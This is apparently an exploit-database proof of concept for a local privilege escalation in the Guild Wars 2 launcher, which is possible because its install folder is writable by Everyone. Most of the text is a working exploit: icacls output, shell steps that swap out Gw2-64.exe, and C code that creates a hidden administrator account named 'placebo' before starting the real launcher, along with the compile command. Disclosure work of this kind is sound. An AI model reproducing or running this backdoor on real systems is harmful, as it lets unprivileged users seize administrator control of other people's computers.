# Exploit Title: Guild Wars 2 - Insecure Folder Permissions# Date: 2020-10-09# Exploit Author: George Tsimpidas# Software Link : https://account.arena.net/welcome# Version Build : 106915# Tested on: Microsoft Windows 10 Home 10.0.18362 N/A Build 18362# Category: local
Vulnerability Description:
Guild Wars 2 Launcher (Gw2-64.exe) suffers from an elevation of privileges
vulnerability which can be used by a simple user that can change the
executable file
with a binary of choice. The vulnerability exist due to the improper
permissions,
with the 'F' flag (Full)for'Everyone'group, making the entire directory
'Guild Wars 2' and its files and sub-dirs world-writable.# Local Privilege Escalation Proof of Concept
D:\icacls "Guild Wars 2"
Guild Wars 2 Everyone:(F)
Everyone:(OI)(CI)(IO)(M,WDAC,WO,DC)
BUILTIN\Administrators:(I)(F)
BUILTIN\Administrators:(I)(OI)(CI)(IO)(F)
NT AUTHORITY\SYSTEM:(I)(F)
NT AUTHORITY\SYSTEM:(I)(OI)(CI)(IO)(F)
NT AUTHORITY\Authenticated Users:(I)(M)
NT AUTHORITY\Authenticated Users:(I)(OI)(CI)(IO)(M)
BUILTIN\Users:(I)(RX)
BUILTIN\Users:(I)(OI)(CI)(IO)(GR,GE)## Insecure File Permission
D:\Guild Wars 2icacls Gw2-64.exe
Gw2-64.exe Everyone:(F)
Everyone:(I)(F)
BUILTIN\Administrators:(I)(F)
NT AUTHORITY\SYSTEM:(I)(F)
NT AUTHORITY\Authenticated Users:(I)(M)
BUILTIN\Users:(I)(RX)#0. Download & install#1. Create low privileged user & change to the user## As admin
C:\net user lowpriv Password123! /add
C:\net user lowpriv | findstr /i "Membership Name"| findstr /v "Full"
User name lowpriv
Local Group Memberships *Users
Global Group memberships *None
#2. Move the Service EXE to a new name
D:\Guild Wars 2whoami
lowpriv
D:\Guild Wars 2move Gw2-64.exe Gw2-64.frey.exe
1 file(s) moved.#3. Create malicious binary on kali linux## Add Admin User C Code
kali# cat addAdmin.c
int main(void){
system("net user placebo mypassword /add");
system("net localgroup Administrators placebo /add");
WinExec("D:\\Guild Wars 2\\Gw2-64.frey.exe",0);return 0;}## Compile Code
kali# i686-w64-mingw32-gcc addAdmin.c -l ws2_32 -o Gw2-64.exe#4. Transfer created 'Gw2-64' to the Windows Host#5. Move the created 'Gw2-64' binary to the 'D:\Guild Wars 2' Folder
D:\Guild Wars 2move C:\Users\lowpriv\Downloads\Gw2-64.exe .#6. Check that exploit admin user doesn't exists
D:\Guild Wars 2net user placebo
The user name could not be found
#6. Reboot the Computer
D:\Guild Wars 2shutdown /r
#7. Login & now start the Guild Wars 2 Game, back doored launcher will be
executed, and the user placebo will be created, and added to the
Administrators group.
C:\Users\lowprivnet user placebo | findstr /i "Membership Name"| findstr
/v "Full"
User name placebo
Local Group Memberships *Administrators *Users
Global Group memberships *None